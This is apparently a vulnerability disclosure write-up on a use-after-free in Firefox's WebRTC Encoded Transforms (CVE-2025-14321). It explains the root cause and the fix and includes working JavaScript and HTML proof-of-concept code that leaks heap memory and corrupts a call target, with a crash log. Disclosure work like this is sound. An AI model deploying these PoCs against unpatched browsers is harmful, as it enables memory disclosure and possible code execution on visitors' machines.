Firefox / WebRTC Encoded Transforms: UAF via undetached ArrayBuffer / CVE-2025-14321

Author

Joshua Rogers

Date Published

ff-webtrc-clean

The AISLE Research Team discovered a use-after-free (UAF) vulnerability in Firefox's WebRTC API, namely in its WebRTC Encoded Transforms mechanism, that could be abused to form the basis of a remote code execution vulnerability by providing a heap corruption primitive (write) and an info leak primitive (read). This vulnerability was discovered autonomously with AISLE's AI-based source code analyzer, and subsequently reported to Mozilla and fixed.

Background: Encoded Transforms

Firefox's WebRTC API supports a wide range of interfaces which allow the manipulation of incoming and outgoing encoded video and audio frames, enabling a website to do things like provide end-to-end encryption of frames using third-party code on the website, add watermarks, or perform some other transformations on the raw data. This feature is provided by the "Encoded Transforms" interface, and is exposed to a website via the RTCRtpScriptTransform() API.

The internal data exposed to a website utilizing this API behaves exactly like a normal JS ArrayBuffer. And just like a normal ArrayBuffer, lifetime checks need to ensure that the backing store (behind the API) is kept alive for as long as a reference to the website is available in the browser. In other words, the internal storage of the ArrayBuffer must be kept alive for as long as a website can interact with it. If the internal storage is destroyed while a website can still reference it, it allows the website to interact with unaccounted-for memory, including writing to now-untracked (or mis-tracked) memory, or accessing data which the website was not supposed to have access to.

Root cause

In Firefox's WebRTC engine, the logic for Encoded Transforms occurs in the RTCEncodedFrameBase class. When this class is initialized, the underlying frame storage is exposed as an ArrayBuffer by creating an alias of the native frame buffer:

C
1// dom/media/webrtc/jsapi/RTCEncodedFrameBase.cpp
2RTCEncodedFrameBase::RTCEncodedFrameBase(nsIGlobalObject* aGlobal, ... {
3[..]
4 // Avoid a copy
5 mData = JS::NewArrayBufferWithUserOwnedContents( // exposes native storage as an ArrayBuffer
6 jsapi.cx(), mState.mFrame->GetData().size(),
7 (void*)(mState.mFrame->GetData().data()));
8}

This made the native memory available to the website using the RTCRtpScriptTransform() API. That is to say, within the C++ code, the memory was referenced by mData, which was exposed to the website as frame.data. The website can read and write to that backing store, and the engine is expected to ensure that no malicious read/write can occur.

The problem detected by our analyzer was simple: when the native memory was released, the JS ArrayBuffer was not detached, allowing the webpage to keep manipulating the location that the buffer pointed to in memory, with no guarantees that it pointed to a correctly allocated piece of memory anymore. Put differently, the pointer that frame.data still had access to could point to newly-freed (and likely reused) memory. This dangling pointer formed the basis of a use-after-free vulnerability, as the webpage could freely interact with frame.data and continue to read/write bytes to that location in memory.

The intended contract

The normal, intended pattern for this kind of functionality is quite simple:

  1. Allocate native memory using NewArrayBufferWithUserOwnedContents().
  2. Expose an ArrayBuffer to the website that points to the native memory.
  3. Website uses the ArrayBuffer.
  4. Detach the ArrayBuffer, removing the website's ability to interact with its backing store.
  5. Free/recycle native memory.

There are many things that can go wrong if any of these steps are not followed:

  • If #5 does not occur, there will be a memory leak because the native memory will never be freed.
  • If #4 does not occur (but #5 does), a UAF like the one our analyzer discovered will occur.
  • If #1 does not occur, a UAF may also occur (if unallocated or otherwise invalid memory is ever exposed to the website).

So, the contract is simple: if you use NewArrayBufferWithUserOwnedContents(), you are responsible for detaching the ArrayBuffer before the backing store becomes invalid. In this case, the original destructor did not detach:

C
1RTCEncodedFrameBase::~RTCEncodedFrameBase() = default; // no DetachArrayBuffer

Triggering the bug

Triggering the lifetime mismatch is straightforward:

  1. Create a reference to a frame's data: buf = frame.data; (where frame is delivered via the encoded transform pipeline).
  2. Keep buf alive (store it in a global list).
  3. Drop the frame wrapper so RTCEncodedFrameBase can be destroyed.
  4. Continue using buf after the native storage has been freed/reused.

Thus, the JS-visible ArrayBuffer outlives the native allocation it aliases.

Read/Write primitives

Once we have a live ArrayBuffer pointing to freed memory, we have a few options for exploitation.

READ:

  • new Uint8Array(buf)[i] reads whatever bytes currently reside at that address. When the allocator re-uses the freed region, reads become cross-object disclosure (stale heap contents, unrelated object bytes, and potentially sensitive data).

WRITE:

  • new Uint8Array(buf).fill(0x41) writes into memory that may now belong to a different allocation. If a pointer-bearing object reuses that region, you can corrupt pointer fields / vtables / length fields / etc., yielding reliable crashes and potentially controllable corruption with the usual heap-shaping work.

Proof of concept

We developed a PoC for this bug below, which demonstrates an indirect call through a value with the 0x41 pattern, which is what you expect when you repeatedly spray 0x41 into a region that later gets interpreted as a pointer.

JavaScript
1// poc-minimal-worker.js
2// first, store up to 200 `frame.data` ArrayBuffers
3// next, drop the frames to trigger the wrapper teardown (native storage can be freed)
4// repeatedly fill retained buffers with 0x41
5// report when the first bytes are no longer 0x41 (i.e., the memory has changed because it is being used elsewhere)
6const leaks = [];
7const MAX = 200;
8
9function hex16(buf) {
10 const u8 = new Uint8Array(buf);
11 return [...u8.slice(0, 16)].map(b => b.toString(16).padStart(2, '0')).join('');
12}
13
14function refillAndCheck() {
15 for (let i = 0; i < leaks.length; i++) {
16 const u8 = new Uint8Array(leaks[i]);
17 for (let j = 0; j < Math.min(16, u8.length); j++) {
18 if (u8[j] !== 0x41) {
19 postMessage({ type: 'change', idx: i, hex: hex16(leaks[i]) });
20 break;
21 }
22 }
23 u8.fill(0x41);
24 }
25}
26
27self.onrtctransform = (event) => {
28 const { readable } = event.transformer;
29
30 readable
31 .pipeTo(new WritableStream({
32 write(frame) {
33 const buf = frame.data;
34
35 if (leaks.length < MAX) {
36 leaks.push(buf);
37 new Uint8Array(buf).fill(0x41);
38 postMessage({ type: 'leak', idx: leaks.length - 1, size: buf.byteLength, hex: hex16(buf) });
39
40 // Drop wrapper: do not forward this frame.
41 return;
42 }
43
44 refillAndCheck();
45 // Continue dropping frames to keep churn high.
46 }
47 }))
48 .catch(() => {});
49};
50

Eventually, a crash occurs:

JavaScript
1Operating system: Linux
2 6.12.32-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.32-1 (2025-06-07)
3CPU: amd64
4 family 25 model 97 stepping 2
5 32 CPUs
6Linux debian 13 - trixie (Debian GNU/Linux 13 (trixie))
7
8Crash reason: SIGSEGV / SI_KERNEL
9Crash address: 0x0000000000000000 **
10 ** Non-canonical address detected: 0x4141414141414159
11Crashing instruction: `call qword [rax + 0x18]`
12Memory accessed by instruction:
13 0. Address: 0x4141414141414159
14 Size: 8
15 Access type: Read
16 1. Address: 0x00007f1ef06ff6e8
17 Size: 8
18 Access type: Write
19
20Thread 34 WebrtcC~read #1 (crashed) - tid: 958997
21 0 libxul.so!mozilla::DelayedRunnable::Notify(nsITimer*) [DelayedRunnable.cpp : 92]
22 Found by: inlining
23 1 libxul.so!{virtual override thunk({offset(-16)}, mozilla::DelayedRunnable::Notify(nsITimer*))} [DelayedRunnable.cpp : 0 + 0x3b]
24 rax = 0x4141414141414141 rdx = 0x0000000000000003
25 rcx = 0x0000000000000000 rbx = 0x00007f1ef0093ee8
26 rsi = 0x0000000000000000 rdi = 0x00007f1ef0093e40
27 rbp = 0x0000000000000001 rsp = 0x00007f1ef06ff6f0
28 r8 = 0x0000000000000011 r9 = 0x00000000ffffffff
29 r10 = 0x0000000000000000 r11 = 0x0000000000000246
30 r12 = 0x0000000000000012 r13 = 0x0000000000000000
31 r14 = 0x00007f1ef0093ec0 r15 = 0x00007f1ef0093e40
32 rip = 0x00007f1efb969b87
33

Additional PoC

We also prepared a PoC which leaks memory from the dangling pointer for any user that visits the webpage using a vulnerable version of Firefox:

poc-minimal.html

HTML
1<!doctype html>
2<meta charset="utf-8">
3<title>Minimal PoC: RTCEncodedFrameBase UAF</title>
4<script>
5(async () => {
6 const canvas = document.createElement('canvas');
7 canvas.width = 320; canvas.height = 180;
8 const ctx = canvas.getContext('2d');
9 let t = 0;
10 function draw() {
11 t++;
12 ctx.fillStyle = `hsl(${t % 360}, 80%, 50%)`;
13 ctx.fillRect(0, 0, canvas.width, canvas.height);
14 requestAnimationFrame(draw);
15 }
16 draw();
17 const track = canvas.captureStream(30).getVideoTracks()[0];
18
19 const pc1 = new RTCPeerConnection();
20 const pc2 = new RTCPeerConnection();
21 const sender = pc1.addTransceiver(track);
22
23 const worker = new Worker('poc-minimal-worker.js');
24 const transform = new RTCRtpScriptTransform(worker, { role: 'receiver' });
25 sender.sender.transform = new RTCRtpScriptTransform(worker, { role: 'sender' });
26
27 pc2.ontrack = (ev) => ev.receiver.transform = transform;
28
29 pc1.onicecandidate = e => e.candidate && pc2.addIceCandidate(e.candidate);
30 pc2.onicecandidate = e => e.candidate && pc1.addIceCandidate(e.candidate);
31
32 const offer = await pc1.createOffer();
33 await pc1.setLocalDescription(offer);
34 await pc2.setRemoteDescription(offer);
35 const answer = await pc2.createAnswer();
36 await pc2.setLocalDescription(answer);
37 await pc1.setRemoteDescription(answer);
38
39 worker.onmessage = (e) => {
40 const d = e.data;
41 if (d.type === 'leak') {
42 console.log(`[leak ${d.idx}] size=${d.size} first16=${d.hex}`);
43 } else if (d.type === 'change') {
44 console.log(`[leak ${d.idx}] CHANGED: ${d.hex}`);
45 }
46 };
47})();
48</script>
49

Fix

The fix was conceptually simple: make detachment unavoidable. The full change is available here. The patch introduces a DetachData() helper and calls it from all teardown paths (including the destructor and cycle-collection unlink) so that once native storage is destroyed, any JS-visible buffer is detached and cannot be used as a dangling read/write view.

Timeline

  • 2025-10-06 Reported by Igor Morgernstern of the AISLE Research Team
  • 2025-11-19 Fix landed.
  • 2025-12-09 Shipped in Firefox 146 / ESR 140.6

Increasing Coverage with AISLE

CVE-2025-14321 is a good example of what AISLE's autonomous analyzer is built to catch: subtle lifetime/ownership mismatches at API boundaries in real-world codebases, where a "safe" high-level interface can accidentally outlive the native resources it aliases.

If you're interested in learning about more vulnerabilities found with AISLEs analyzer, check out our other posts for more findings, or reach us at [email protected]